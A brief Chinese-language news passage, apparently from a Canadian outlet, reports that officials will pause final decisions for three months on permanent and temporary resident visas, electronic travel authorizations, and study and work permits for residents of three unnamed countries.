在技​​术简报会上，官员们还表示，未来3个月内，他们将暂停对这3个国家的居民的某些申请做出最终决定，这些申请包括永久居民签证、临时居民签证、电子旅行授权、学习及工作许可。 (图：加通社资料图片) V11